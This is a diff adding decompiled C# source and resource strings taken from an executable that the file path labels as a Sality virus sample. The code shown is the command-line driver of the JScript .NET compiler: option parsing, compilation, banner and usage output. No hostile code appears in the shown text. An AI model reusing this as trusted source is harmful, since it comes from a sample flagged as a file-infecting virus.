+    <value>LGZvciBNaWNyb3NvZnQgKFIpIC5ORVQgRnJhbWV3b3JrIHZlcnNpb24gezB9</value>
+  </data>
+  <data name="Banner line 1" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>L01pY3Jvc29mdCAoUikgSlNjcmlwdCAuTkVUIENvbXBpbGVyIHZlcnNpb24gezB9</value>
+  </data>
+  <data name="Usage /nologo" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>KERvIG5vdCBkaXNwbGF5IGNvbXBpbGVyIGNvcHlyaWdodCBiYW5uZXI=</value>
+  </data>
+  <data name="Usage /define" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>KERlZmluZSBjb25kaXRpb25hbCBjb21waWxhdGlvbiBzeW1ib2wocyk=</value>
+  </data>
+  <data name="Compiling" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>JENvbXBpbGluZyBzb3VyY2UgZmlsZTs7Q29tcGlsaW5nIHswfQ==</value>
+  </data>
+  <data name="Miscellaneous" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>ES0gTUlTQ0VMTEFORU9VUyAt</value>
+  </data>
+</root>

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/JScriptCompiler.cs

@@ -0,0 +1,946 @@
+// Decompiled with JetBrains decompiler
+// Type: JScriptCompiler
+// Assembly: jsc, Version=7.0.5000.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
+// MVID: 64FE9439-6D79-4C3B-BBDD-9D73A741F992
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48.exe
+
+using Microsoft.JScript;
+using Microsoft.JScript.Vsa;
+using Microsoft.Vsa;
+using System;
+using System.Collections;
+using System.Collections.Specialized;
+using System.Globalization;
+using System.IO;
+using System.Reflection.Emit;
+using System.Resources;
+using System.Text;
+using System.Text.RegularExpressions;
+
+internal class JScriptCompiler : MarshalByRefObject
+{
+  private bool fPrintBanner;
+  private bool fBannerPrinted;
+  private bool fPrintTargets;
+  private int exitCode;
+  private bool fHelp;
+  private bool fUtf8Output;
+  private ArrayList targets;
+  private CompilerOptions currentTarget;
+  private int codeItemCounter = 0;
+  internal static readonly string ContextStringDelimiter = ";;";
+  private static int LCID = CultureInfo.CurrentUICulture.LCID;
+  private static readonly ResourceManager resourceManager = new ResourceManager("JSC", typeof (JScriptCompiler).Module.Assembly);
+
+  public int Run(string[] args)
+  {
+    this.exitCode = 0;
+    try
+    {
+      this.fPrintBanner = true;
+      this.fBannerPrinted = false;
+      this.fPrintTargets = false;
+      this.fHelp = false;
+      this.fUtf8Output = false;
+      this.targets = new ArrayList();
+      this.currentTarget = (CompilerOptions) null;
+      if (args.Length == 0)
+      {
+        this.PrintUsage();
+        return 0;
+      }
+      this.ParseArguments(args, false);
+      if (this.fUtf8Output)
+        Console.SetOut(TextWriter.Synchronized((TextWriter) new StreamWriter(Console.OpenStandardOutput(), (Encoding) new UTF8Encoding(false))
+        {
+          AutoFlush = true
+        }));
+      if (this.fHelp)
+      {
+        this.PrintUsage();
+        return 0;
+      }
+      foreach (CompilerOptions target in this.targets)
+      {
+        if (target.SourceFileNames.Count == 0)
+          throw new CmdLineException(CmdLineError.NoInputSourcesSpecified, JScriptCompiler.GetCultureInfo());
+      }
+      if (this.targets.Count > 1)
+        this.fPrintTargets = true;
+      this.PrintBanner();
+      foreach (CompilerOptions target in this.targets)
+      {
+        if (!target.fForceCodepage)
+          target.codepage = JScriptCompiler.GetCultureInfo().TextInfo.ANSICodePage;
+        if (target.strOutputFileName == null)
+        {
+          string withoutExtension = Path.GetFileNameWithoutExtension((string) target.SourceFileNames[0]);
+          target.strOutputFileName = withoutExtension + (target.PEFileKind == PEFileKinds.Dll ? ".dll" : ".exe");
+        }
+        if (!this.Compile(target))
+          this.exitCode = 10;
+      }
+    }
+    catch (CmdLineException ex)
+    {
+      this.PrintBanner();
+      Console.WriteLine(ex.Message);
+      this.exitCode = 10;
+    }
+    catch (Exception ex)
+    {
+      this.PrintBanner();
+      Console.WriteLine("fatal error JS2999: " + ex.Message);
+      this.exitCode = 10;
+    }
+    return this.exitCode;
+  }
+
+  private void ParseArguments(string[] args, bool fromResponseFile)
+  {
+    int start = 0;
+    while (start < args.Length)
+    {
+      if (this.currentTarget == null)
+        this.currentTarget = new CompilerOptions();
+      int options = this.ParseOptions(args, start, fromResponseFile);
+      start = this.ParseSources(args, options);
+      if (!fromResponseFile || start < args.Length - 1)
+      {
+        this.targets.Add((object) this.currentTarget);
+        this.currentTarget = (CompilerOptions) null;
+      }
+    }
+  }
+
+  private int ParseOptions(string[] args, int start, bool fromResponseFile)
+  {
+    int options;
+    for (options = start; options < args.Length; ++options)
+    {
+      string str1 = args[options];
+      if (str1 != null && str1.Length != 0)
+      {
+        if ('@' == str1[0])
+        {
+          if (fromResponseFile)
+            throw new CmdLineException(CmdLineError.NestedResponseFiles, JScriptCompiler.GetCultureInfo());
+          string str2 = str1.Substring(1);
+          if (str2.Length == 0)
+            throw new CmdLineException(CmdLineError.NoFileName, args[options], JScriptCompiler.GetCultureInfo());
+          string[] args1 = File.Exists(str2) ? this.ReadResponseFile(str2) : throw new CmdLineException(CmdLineError.SourceNotFound, str2, JScriptCompiler.GetCultureInfo());
+          if (args1 != null)
+            this.ParseArguments(args1, true);
+        }
+        else
+        {
+          if ('-' == str1[0] || '/' == str1[0])
+          {
+            string option = str1.Substring(1);
+            if (option.Length >= 1)
+            {
+              switch (option[0])
+              {
+                case '?':
+                case 'H':
+                case 'h':
+                  if (CmdLineOptionParser.IsSimpleOption(option, "?") || CmdLineOptionParser.IsSimpleOption(option, "help"))
+                  {
+                    this.fHelp = true;
+                    continue;
+                  }
+                  break;
+                case 'A':
+                case 'a':
+                  object obj1 = CmdLineOptionParser.IsBooleanOption(option, "autoref");
+                  if (obj1 != null)
+                  {
+                    if ((bool) obj1)
+                    {
+                      this.currentTarget.autoRef = true;
+                      this.currentTarget.autoRefSetExplicitly = true;
+                      continue;
+                    }
+                    this.currentTarget.autoRef = false;
+                    continue;
+                  }
+                  object obj2 = (object) CmdLineOptionParser.IsArgumentOption(option, "a.version", "assembly.version");
+                  if (obj2 != null)
+                  {
+                    if (((string) obj2).Length == 0)
+                      throw new CmdLineException(CmdLineError.MissingVersionInfo, JScriptCompiler.GetCultureInfo());
+                    try
+                    {
+                      this.currentTarget.versionInfo = new Version((string) obj2);
+                      continue;
+                    }
+                    catch (Exception ex)
+                    {
+                      throw new CmdLineException(CmdLineError.InvalidVersion, (string) obj2, JScriptCompiler.GetCultureInfo());
+                    }
+                  }
+                  else
+                    break;
+                case 'C':
+                case 'c':
+                  object obj3 = (object) CmdLineOptionParser.IsArgumentOption(option, "codepage");
+                  if (obj3 != null)
+                  {
+                    if (((string) obj3).Length == 0)
+                      throw new CmdLineException(CmdLineError.NoCodePage, args[options], JScriptCompiler.GetCultureInfo());
+                    try
+                    {
+                      this.currentTarget.codepage = int.Parse((string) obj3, (IFormatProvider) CultureInfo.InvariantCulture);
+                      this.currentTarget.fForceCodepage = true;
+                      continue;
+                    }
+                    catch (Exception ex)
+                    {
+                      throw new CmdLineException(CmdLineError.InvalidCodePage, (string) obj3, JScriptCompiler.GetCultureInfo());
+                    }
+                  }
+                  else
+                    break;
+                case 'D':
+                case 'd':
+                  object obj4 = CmdLineOptionParser.IsBooleanOption(option, "debug");
+                  if (obj4 != null)
+                  {
+                    this.currentTarget.fDebug = (bool) obj4;
+                    continue;
+                  }
+                  object definitionList = (object) CmdLineOptionParser.IsArgumentOption(option, "d", "define");
+                  if (definitionList != null)
+                  {
+                    IDictionaryEnumerator enumerator = this.GetAllDefines((string) definitionList).GetEnumerator();
+                    try
+                    {
+                      while (enumerator.MoveNext())
+                      {
+                        DictionaryEntry current = (DictionaryEntry) enumerator.Current;
+                        this.currentTarget.Defines[current.Key] = current.Value;
+                      }
+                      continue;
+                    }
+                    finally
+                    {
+                      if (enumerator is IDisposable disposable)
+                        disposable.Dispose();
+                    }
+                  }
+                  else
+                    break;
+                case 'F':
+                case 'f':
+                  object obj5 = CmdLineOptionParser.IsBooleanOption(option, "fast");
+                  if (obj5 != null)
+                  {
+                    this.currentTarget.fFast = (bool) obj5;
+                    continue;
+                  }
+                  break;
+                case 'L':
+                case 'l':
+                  object obj6 = (object) CmdLineOptionParser.IsArgumentOption(option, "lcid");
+                  if (obj6 != null)
+                  {
+                    if (((string) obj6).Length == 0)
+                      throw new CmdLineException(CmdLineError.NoLocaleID, args[options], JScriptCompiler.GetCultureInfo());
+                    try
+                    {
+                      int culture = int.Parse((string) obj6, (IFormatProvider) CultureInfo.InvariantCulture);
+                      CultureInfo cultureInfo = new CultureInfo(culture);
+                      JScriptCompiler.LCID = culture;
+                      continue;
+                    }
+                    catch (Exception ex)
+                    {
+                      throw new CmdLineException(CmdLineError.InvalidLocaleID, (string) obj6, JScriptCompiler.GetCultureInfo());
+                    }
+                  }
+                  else
+                  {
+                    object obj7 = (object) CmdLineOptionParser.IsArgumentOption(option, "lib");
+                    if (obj7 != null)
+                    {
+                      string str3 = (string) obj7;
+                      if (str3.Length == 0)
+                        throw new CmdLineException(CmdLineError.MissingLibArgument, JScriptCompiler.GetCultureInfo());
+                      this.currentTarget.libpath = str3.Replace(',', Path.PathSeparator) + (object) Path.PathSeparator + this.currentTarget.libpath;
+                      continue;
+                    }
+                    object resinfo = (object) CmdLineOptionParser.IsArgumentOption(option, "linkres", "linkresource");
+                    if (resinfo != null)
+                    {
+                      this.AddResourceFile(new ResInfo((string) resinfo, true));
+                      continue;
+                    }
+                    break;
+                  }
+                case 'N':
+                case 'n':
+                  if (CmdLineOptionParser.IsSimpleOption(option, "nologo"))
+                  {
+                    this.fPrintBanner = false;
+                    continue;
+                  }
+                  object obj8 = CmdLineOptionParser.IsBooleanOption(option, "nostdlib");
+                  if (obj8 != null)
+                  {
+                    this.currentTarget.fNoStdlib = (bool) obj8;
+                    if ((bool) obj8 && !this.currentTarget.autoRefSetExplicitly)
+                    {
+                      this.currentTarget.autoRef = false;
+                      continue;
+                    }
+                    continue;
+                  }
+                  break;
+                case 'O':
+                case 'o':
+                  object path1 = (object) CmdLineOptionParser.IsArgumentOption(option, "out");
+                  if (path1 != null)
+                  {
+                    try
+                    {
+                      if (Path.GetFileName((string) path1) == "")
+                        throw new CmdLineException(CmdLineError.NoFileName, args[options], JScriptCompiler.GetCultureInfo());
+                    }
+                    catch (ArgumentException ex)
+                    {
+                      throw new CmdLineException(CmdLineError.NoFileName, args[options], JScriptCompiler.GetCultureInfo());
+                    }
+                    if (Path.GetExtension((string) path1) == "")
+                      throw new CmdLineException(CmdLineError.MissingExtension, args[options], JScriptCompiler.GetCultureInfo());
+                    this.currentTarget.strOutputFileName = this.currentTarget.strOutputFileName == null ? (string) path1 : throw new CmdLineException(CmdLineError.MultipleOutputNames, JScriptCompiler.GetCultureInfo());
+                    continue;
+                  }
+                  break;
+                case 'P':
+                case 'p':
+                  object obj9 = CmdLineOptionParser.IsBooleanOption(option, "print");
+                  if (obj9 != null)
+                  {
+                    this.currentTarget.fPrint = (bool) obj9;
+                    this.currentTarget.fPrintSetExplicitly = (bool) obj9;
+                    continue;
+                  }
+                  break;
+                case 'R':
+                case 'r':
+                  object fileList = (object) CmdLineOptionParser.IsArgumentOption(option, "r", "reference");
+                  if (fileList != null)
+                  {
+                    StringEnumerator stringEnumerator = ((string) fileList).Length != 0 ? this.GetAllReferences((string) fileList).GetEnumerator() : throw new CmdLineException(CmdLineError.NoFileName, args[options], JScriptCompiler.GetCultureInfo());
+                    try
+                    {
+                      while (stringEnumerator.MoveNext())
+                      {
+                        string current = stringEnumerator.Current;
+                        bool flag = false;
+                        foreach (string importFileName in this.currentTarget.ImportFileNames)
+                        {
+                          if (string.Compare(importFileName, current, true, CultureInfo.InvariantCulture) == 0)
+                          {
+                            flag = true;
+                            break;
+                          }
+                        }
+                        if (!flag)
+                          this.currentTarget.ImportFileNames.Add((object) current);
+                      }
+                      continue;
+                    }
+                    finally
+                    {
+                      if (stringEnumerator is IDisposable disposable)
+                        disposable.Dispose();
+                    }
+                  }
+                  else
+                  {
+                    object resinfo = (object) CmdLineOptionParser.IsArgumentOption(option, "res", "resource");
+                    if (resinfo != null)
+                    {
+                      this.AddResourceFile(new ResInfo((string) resinfo, false));
+                      continue;
+                    }
+                    break;
+                  }
+                case 'T':
+                case 't':
+                  object obj10 = (object) CmdLineOptionParser.IsArgumentOption(option, "t", "target");
+                  if (obj10 != null)
+                  {
+                    if (this.currentTarget.fTargetSpecified)
+                      throw new CmdLineException(CmdLineError.MultipleTargets, JScriptCompiler.GetCultureInfo());
+                    if (string.Compare((string) obj10, "exe", true, CultureInfo.InvariantCulture) == 0)
+                    {
+                      this.currentTarget.fTargetSpecified = true;
+                      this.currentTarget.PEFileKind = PEFileKinds.ConsoleApplication;
+                      continue;
+                    }
+                    if (string.Compare((string) obj10, "winexe", true, CultureInfo.InvariantCulture) == 0)
+                    {
+                      this.currentTarget.fTargetSpecified = true;
+                      this.currentTarget.PEFileKind = PEFileKinds.WindowApplication;
+                      this.currentTarget.fPrint = this.currentTarget.fPrintSetExplicitly;
+                      continue;
+                    }
+                    if (string.Compare((string) obj10, "library", true, CultureInfo.InvariantCulture) != 0)
+                      throw new CmdLineException(CmdLineError.InvalidTarget, (string) obj10, JScriptCompiler.GetCultureInfo());
+                    this.currentTarget.fTargetSpecified = true;
+                    this.currentTarget.PEFileKind = PEFileKinds.Dll;
+                    continue;
+                  }
+                  break;
+                case 'U':
+                case 'u':
+                  object obj11 = CmdLineOptionParser.IsBooleanOption(option, "utf8output");
+                  if (obj11 != null)
+                  {
+                    this.fUtf8Output = (bool) obj11;
+                    continue;
+                  }
+                  break;
+                case 'V':
+                case 'v':
+                  object obj12 = CmdLineOptionParser.IsBooleanOption(option, "VersionSafe");
+                  if (obj12 != null)
+                  {
+                    this.currentTarget.fVersionSafe = (bool) obj12;
+                    continue;
+                  }
+                  break;
+                case 'W':
+                case 'w':
+                  object obj13 = (object) CmdLineOptionParser.IsArgumentOption(option, "w", "warn");
+                  if (obj13 != null)
+                  {
+                    if (((string) obj13).Length == 0)
+                      throw new CmdLineException(CmdLineError.NoWarningLevel, args[options], JScriptCompiler.GetCultureInfo());
+                    if (1 == ((string) obj13).Length)
+                    {
+                      switch (((string) obj13)[0])
+                      {
+                        case '0':
+                          this.currentTarget.nWarningLevel = 0;
+                          continue;
+                        case '1':
+                          this.currentTarget.nWarningLevel = 1;
+                          continue;
+                        case '2':
+                          this.currentTarget.nWarningLevel = 2;
+                          continue;
+                        case '3':
+                          this.currentTarget.nWarningLevel = 3;
+                          continue;
+                        case '4':
+                          this.currentTarget.nWarningLevel = 4;
+                          continue;
+                      }
+                    }
+                    throw new CmdLineException(CmdLineError.InvalidWarningLevel, args[options], JScriptCompiler.GetCultureInfo());
+                  }
+                  object obj14 = CmdLineOptionParser.IsBooleanOption(option, "warnaserror");
+                  if (obj14 != null)
+                  {
+                    this.currentTarget.fTreatWarningsAsErrors = (bool) obj14;
+                    continue;
+                  }
+                  object obj15 = (object) CmdLineOptionParser.IsArgumentOption(option, "win32res");
+                  if (obj15 != null)
+                  {
+                    string path2 = (string) obj15;
+                    if (path2.Length == 0)
+                      throw new CmdLineException(CmdLineError.NoFileName, args[options], JScriptCompiler.GetCultureInfo());
+                    if (!File.Exists(path2))
+                      throw new CmdLineException(CmdLineError.ResourceNotFound, args[options], JScriptCompiler.GetCultureInfo());
+                    this.currentTarget.Win32Resource = this.currentTarget.Win32Resource == null ? path2 : throw new CmdLineException(CmdLineError.MultipleWin32Resources, JScriptCompiler.GetCultureInfo());
+                    continue;
+                  }
+                  break;
+              }
+            }
+            throw new CmdLineException(CmdLineError.UnknownOption, args[options], JScriptCompiler.GetCultureInfo());
+          }
+          break;
+        }
+      }
+    }
+    return options;
+  }
+
+  private int ParseSources(string[] args, int start)
+  {
+    int sources;
+    for (sources = start; sources < args.Length; ++sources)
+    {
+      if (args[sources].Length != 0)
+      {
+        if ('-' != args[sources][0])
+        {
+          if ('/' != args[sources][0])
+          {
+            try
+            {
+              if (Path.GetFileName(args[sources]) == "")
+                throw new CmdLineException(CmdLineError.InvalidSourceFile, args[sources], JScriptCompiler.GetCultureInfo());
+            }
+            catch (ArgumentException ex)
+            {
+              throw new CmdLineException(CmdLineError.InvalidSourceFile, args[sources], JScriptCompiler.GetCultureInfo());
+            }
+            foreach (string importFileName in this.currentTarget.ImportFileNames)
+            {
+              if (string.Compare(importFileName, args[sources], true, CultureInfo.InvariantCulture) == 0)
+                throw new CmdLineException(CmdLineError.DuplicateFileAsSourceAndAssembly, args[sources], JScriptCompiler.GetCultureInfo());
+            }
+            foreach (string sourceFileName in this.currentTarget.SourceFileNames)
+            {
+              if (string.Compare(sourceFileName, args[sources], true, CultureInfo.InvariantCulture) == 0)
+                throw new CmdLineException(CmdLineError.DuplicateSourceFile, args[sources], JScriptCompiler.GetCultureInfo());
+            }
+            this.currentTarget.SourceFileNames.Add((object) args[sources]);
+          }
+          else
+            break;
+        }
+        else
+          break;
+      }
+    }
+    return sources;
+  }
+
+  private bool Compile(CompilerOptions options)
+  {
+    if (this.fPrintTargets)
+      Console.WriteLine(JScriptCompiler.Localize("Compiling", options.strOutputFileName));
+    VsaEngine engine = new VsaEngine();
+    if (engine == null)
+      throw new CmdLineException(CmdLineError.CannotCreateEngine, JScriptCompiler.GetCultureInfo());
+    engine.InitVsaEngine("JSC://Microsoft.JScript.Vsa.VsaEngine", (IVsaSite) new EngineSite(options));
+    ((BaseVsaEngine) engine).LCID = JScriptCompiler.LCID;
+    ((BaseVsaEngine) engine).GenerateDebugInfo = options.fDebug;
+    ((BaseVsaEngine) engine).SetOption("AutoRef", (object) options.autoRef);
+    ((BaseVsaEngine) engine).SetOption("fast", (object) options.fFast);
+    ((BaseVsaEngine) engine).SetOption("output", (object) options.strOutputFileName);
+    ((BaseVsaEngine) engine).SetOption("PEFileKind", (object) options.PEFileKind);
+    ((BaseVsaEngine) engine).SetOption("print", (object) options.fPrint);
+    ((BaseVsaEngine) engine).SetOption("libpath", (object) options.libpath);
+    if (options.versionInfo != (Version) null)
+      ((BaseVsaEngine) engine).SetOption("version", (object) options.versionInfo);
+    ((BaseVsaEngine) engine).SetOption("VersionSafe", (object) options.fVersionSafe);
+    ((BaseVsaEngine) engine).SetOption("defines", (object) options.Defines);
+    ((BaseVsaEngine) engine).SetOption("warnaserror", (object) options.fTreatWarningsAsErrors);
+    ((BaseVsaEngine) engine).SetOption("WarningLevel", (object) options.nWarningLevel);
+    if (options.Win32Resource != null)
+      ((BaseVsaEngine) engine).SetOption("win32resource", (object) options.Win32Resource);
+    if (options.ManagedResources.Count > 0)
+      ((BaseVsaEngine) engine).SetOption("managedResources", (object) options.ManagedResources.Values);
+    bool flag1 = false;
+    bool flag2 = false;
+    foreach (string importFileName in options.ImportFileNames)
+    {
+      this.AddAssemblyReference((IVsaEngine) engine, importFileName);
+      string fileName = Path.GetFileName(importFileName);
+      if (string.Compare(fileName, "mscorlib.dll", true, CultureInfo.InvariantCulture) == 0)
+        flag1 = true;
+      else if (string.Compare(fileName, "System.Windows.Forms.dll", true, CultureInfo.InvariantCulture) == 0)
+        flag2 = true;
+    }
+    if (!options.fNoStdlib && !flag1)
+      this.AddAssemblyReference((IVsaEngine) engine, "mscorlib.dll");
+    if (options.PEFileKind == PEFileKinds.WindowApplication && !options.fNoStdlib && !flag2)
+      this.AddAssemblyReference((IVsaEngine) engine, "System.Windows.Forms.dll");
+    for (int index = 0; index < options.SourceFileNames.Count; ++index)
+      this.AddSourceFile((IVsaEngine) engine, (string) options.SourceFileNames[index], options.codepage, options.fForceCodepage);
+    try
+    {
+      return ((BaseVsaEngine) engine).Compile();
+    }
+    catch (VsaException ex)
+    {
+      if (ex.ErrorCode == -2146226172)
+      {
+        if (((Exception) ex).InnerException != null && ((Exception) ex).InnerException is BadImageFormatException)
+          Console.WriteLine(new CmdLineException(CmdLineError.InvalidAssembly, ((Exception) ex).Message, JScriptCompiler.GetCultureInfo()).Message);
+        else if (((Exception) ex).InnerException != null && (((Exception) ex).InnerException is FileNotFoundException || ((Exception) ex).InnerException is FileLoadException))
+          Console.WriteLine(new CmdLineException(CmdLineError.AssemblyNotFound, ((Exception) ex).Message, JScriptCompiler.GetCultureInfo()).Message);
+        else
+          Console.WriteLine(new CmdLineException(CmdLineError.InvalidAssembly, JScriptCompiler.GetCultureInfo()).Message);
+      }
+      else if (ex.ErrorCode == -2146226123)
+        Console.WriteLine(new CmdLineException(CmdLineError.ErrorSavingCompiledState, ((Exception) ex).Message, JScriptCompiler.GetCultureInfo()).Message);
+      else if (ex.ErrorCode == -2146226171 && ((Exception) ex).InnerException != null)
+      {
+        Console.WriteLine(new CmdLineException(CmdLineError.InvalidCharacters, ((Exception) ex).Message, JScriptCompiler.GetCultureInfo()).Message);
+      }
+      else
+      {
+        Console.WriteLine(JScriptCompiler.Localize("INTERNAL COMPILER ERROR"));
+        Console.WriteLine((object) ex);
+      }
+      return false;
+    }
+    catch (Exception ex)
+    {
+      Console.WriteLine(JScriptCompiler.Localize("INTERNAL COMPILER ERROR"));
+      Console.WriteLine((object) ex);
+      return false;
+    }
+  }
+
+  private void AddAssemblyReference(IVsaEngine engine, string fileName) => ((IVsaReferenceItem) engine.Items.CreateItem(fileName, (VsaItemType) 0, (VsaItemFlag) 0)).AssemblyName = fileName;
+
+  private void AddSourceFile(
+    IVsaEngine engine,
+    string fileName,
+    int codepage,
+    bool fForceCodepage)
+  {
+    string str = "$SourceFile_" + (object) this.codeItemCounter++;
+    IVsaCodeItem ivsaCodeItem = (IVsaCodeItem) engine.Items.CreateItem(str, (VsaItemType) 2, (VsaItemFlag) 0);
+    ((IVsaItem) ivsaCodeItem).SetOption("codebase", (object) fileName);
+    ivsaCodeItem.SourceText = this.ReadFile(fileName, codepage, fForceCodepage);
+  }
+
+  private void AddResourceFile(ResInfo resinfo)
+  {
+    if (!File.Exists(resinfo.fullpath))
+      throw new CmdLineException(CmdLineError.ManagedResourceNotFound, resinfo.filename, JScriptCompiler.GetCultureInfo());
+    if (this.currentTarget.ManagedResourceFileNames[(object) resinfo.fullpath] != null)
+      throw new CmdLineException(CmdLineError.DuplicateResourceFile, resinfo.filename, JScriptCompiler.GetCultureInfo());
+    if (this.currentTarget.ManagedResources[(object) resinfo.name] != null)
+      throw new CmdLineException(CmdLineError.DuplicateResourceName, resinfo.name, JScriptCompiler.GetCultureInfo());
+    this.currentTarget.ManagedResources[(object) resinfo.name] = (object) resinfo;
+    this.currentTarget.ManagedResourceFileNames[(object) resinfo.fullpath] = (object) resinfo;
+  }
+
+  internal void PrintBanner() => this.PrintBanner((CultureInfo) null);
+
+  internal void PrintBanner(CultureInfo culture)
+  {
+    if (this.fBannerPrinted || !this.fPrintBanner)
+      return;
+    string str1 = 7.ToString() + "." + 10.ToString((IFormatProvider) CultureInfo.InvariantCulture).PadLeft(2, '0') + "." + 3052.ToString((IFormatProvider) CultureInfo.InvariantCulture).PadLeft(4, '0');
+    Version version = Environment.Version;
+    object[] objArray1 = new object[5]
+    {
+      (object) version.Major,
+      (object) ".",
+      null,
+      null,
+      null
+    };
+    object[] objArray2 = objArray1;
+    int num = version.Minor;
+    string str2 = num.ToString((IFormatProvider) CultureInfo.InvariantCulture);
+    objArray2[2] = (object) str2;
+    objArray1[3] = (object) ".";
+    object[] objArray3 = objArray1;
+    num = version.Build;
+    string str3 = num.ToString((IFormatProvider) CultureInfo.InvariantCulture).PadLeft(4, '0');
+    objArray3[4] = (object) str3;
+    string str4 = string.Concat(objArray1);
+    this.fBannerPrinted = true;
+    Console.WriteLine(string.Format(JScriptCompiler.Localize("Banner line 1", culture), (object) str1));
+    Console.WriteLine(string.Format(JScriptCompiler.Localize("Banner line 2", culture), (object) str4));
+    Console.WriteLine(JScriptCompiler.Localize("Banner line 3", culture) + "\r\n");
+  }
+
+  internal void PrintUsage()
+  {
+    CultureInfo cultureInfo = JScriptCompiler.GetCultureInfo();
+    this.PrintBanner(cultureInfo);
+    Console.WriteLine(JScriptCompiler.Localize("Usage format", cultureInfo));
+    Console.WriteLine();
+    Console.Write("                         ");
+    Console.WriteLine(JScriptCompiler.Localize("Usage options", cultureInfo));
+    Console.WriteLine("");
+    Console.Write("                           ");
+    Console.WriteLine(JScriptCompiler.Localize("Output Files", cultureInfo));
+    Console.Write("  /out:<file>              ");
+    Console.WriteLine(JScriptCompiler.Localize("Usage /out", cultureInfo));
+    Console.Write("  /t[arget]:exe            ");
+    Console.WriteLine(JScriptCompiler.Localize("Usage /t:exe", cultureInfo));
+    Console.Write("  /t[arget]:winexe         ");
+    Console.WriteLine(JScriptCompiler.Localize("Usage /t:winexe", cultureInfo));
+    Console.Write("  /t[arget]:library        ");
+    Console.WriteLine(JScriptCompiler.Localize("Usage /t:library", cultureInfo));
+    Console.WriteLine();
+    Console.Write("                           ");
+    Console.WriteLine(JScriptCompiler.Localize("Input Files", cultureInfo));
+    Console.Write("  /autoref[+|-]            ");
+    Console.WriteLine(JScriptCompiler.Localize("Usage /autoref", cultureInfo));
+    Console.Write("  /lib:<path>              ");
+    Console.WriteLine(JScriptCompiler.Localize("Usage /lib", cultureInfo));
+    Console.Write("  /r[eference]:<file list> ");
+    Console.WriteLine(JScriptCompiler.Localize("Usage /reference", cultureInfo));
+    Console.Write("                           ");
+    Console.WriteLine("<file list>: <assembly name>[;<assembly name>...]");
+    Console.WriteLine();
+    Console.Write("                           ");
+    Console.WriteLine(JScriptCompiler.Localize("Resources", cultureInfo));
+    Console.Write("  /win32res:<file>         ");
+    Console.WriteLine(JScriptCompiler.Localize("Usage /win32res", cultureInfo));
+    Console.Write("  /res[ource]:<info>       ");
+    Console.WriteLine(JScriptCompiler.Localize("Usage /resource", cultureInfo));
+    Console.WriteLine("                           <info>: <filename>[,<name>[,public|private]]");
+    Console.Write("  /linkres[ource]:<info>   ");
+    Console.WriteLine(JScriptCompiler.Localize("Usage /linkresource", cultureInfo));
+    Console.WriteLine("                           <info>: <filename>[,<name>[,public|private]]");
+    Console.WriteLine();
+    Console.Write("                           ");
+    Console.WriteLine(JScriptCompiler.Localize("Code Generation", cultureInfo));
+    Console.Write("  /debug[+|-]              ");
+    Console.WriteLine(JScriptCompiler.Localize("Usage /debug", cultureInfo));
+    Console.Write("  /fast[+|-]               ");
+    Console.WriteLine(JScriptCompiler.Localize("Usage /fast", cultureInfo));
+    Console.Write("  /warnaserror[+|-]        ");
+    Console.WriteLine(JScriptCompiler.Localize("Usage /warnaserror", cultureInfo));
+    Console.Write("  /w[arn]:<level>          ");
+    Console.WriteLine(JScriptCompiler.Localize("Usage /warn", cultureInfo));
+    Console.WriteLine();
+    Console.Write("                           ");
+    Console.WriteLine(JScriptCompiler.Localize("Miscellaneous", cultureInfo));
+    Console.Write("  @<filename>              ");
+    Console.WriteLine(JScriptCompiler.Localize("Usage @file", cultureInfo));
+    Console.Write("  /?                       ");
+    Console.WriteLine(JScriptCompiler.Localize("Usage /?", cultureInfo));
+    Console.Write("  /help                    ");
+    Console.WriteLine(JScriptCompiler.Localize("Usage /?", cultureInfo));
+    Console.Write("  /d[efine]:<symbols>      ");
+    Console.WriteLine(JScriptCompiler.Localize("Usage /define", cultureInfo));
+    Console.Write("  /nologo                  ");
+    Console.WriteLine(JScriptCompiler.Localize("Usage /nologo", cultureInfo));
+    Console.Write("  /print[+|-]              ");
+    Console.WriteLine(JScriptCompiler.Localize("Usage /print", cultureInfo));
+    Console.WriteLine();
+    Console.Write("                           ");
+    Console.WriteLine(JScriptCompiler.Localize("Advanced", cultureInfo));
+    Console.Write("  /codepage:<id>           ");
+    Console.WriteLine(JScriptCompiler.Localize("Usage /codepage", cultureInfo));
+    Console.Write("  /lcid:<id>               ");
+    Console.WriteLine(JScriptCompiler.Localize("Usage /lcid", cultureInfo));
+    Console.Write("  /nostdlib[+|-]           ");
+    Console.WriteLine(JScriptCompiler.Localize("Usage /nostdlib", cultureInfo));
+    Console.Write("  /utf8output[+|-]         ");
+    Console.WriteLine(JScriptCompiler.Localize("Usage /utf8output", cultureInfo));
+    Console.Write("  /versionsafe[+|-]        ");
+    Console.WriteLine(JScriptCompiler.Localize("Usage /versionsafe", cultureInfo));
+    Console.WriteLine();
+  }
+
+  internal static void PrintError(
+    string sourceFile,
+    int line,
+    int column,
+    bool fIsWarning,
+    int number,
+    string message)
+  {
+    string str = (10000 + (number & (int) ushort.MaxValue)).ToString((IFormatProvider) CultureInfo.InvariantCulture).Substring(1);
+    if (string.Compare(sourceFile, "no source") != 0)
+      Console.Write(sourceFile + "(" + (object) line + "," + (object) column + ") : ");
+    Console.WriteLine((fIsWarning ? "warning JS" : "error JS") + str + ": " + message);
+  }
+
+  private int GetArgumentSeparatorIndex(string argList, int startIndex)
+  {
+    int num1 = argList.IndexOf(",", startIndex);
+    int num2 = argList.IndexOf(";", startIndex);
+    return num1 == -1 || num2 != -1 && num1 >= num2 ? num2 : num1;
+  }
+
+  private Hashtable GetAllDefines(string definitionList)
+  {
+    Hashtable definitions = new Hashtable();
+    int startIndex = 0;
+    int argumentSeparatorIndex;
+    do
+    {
+      argumentSeparatorIndex = this.GetArgumentSeparatorIndex(definitionList, startIndex);
+      this.AddDefinition(argumentSeparatorIndex != -1 ? definitionList.Substring(startIndex, argumentSeparatorIndex - startIndex) : definitionList.Substring(startIndex), definitions);
+      startIndex = argumentSeparatorIndex + 1;
+    }
+    while (argumentSeparatorIndex > -1);
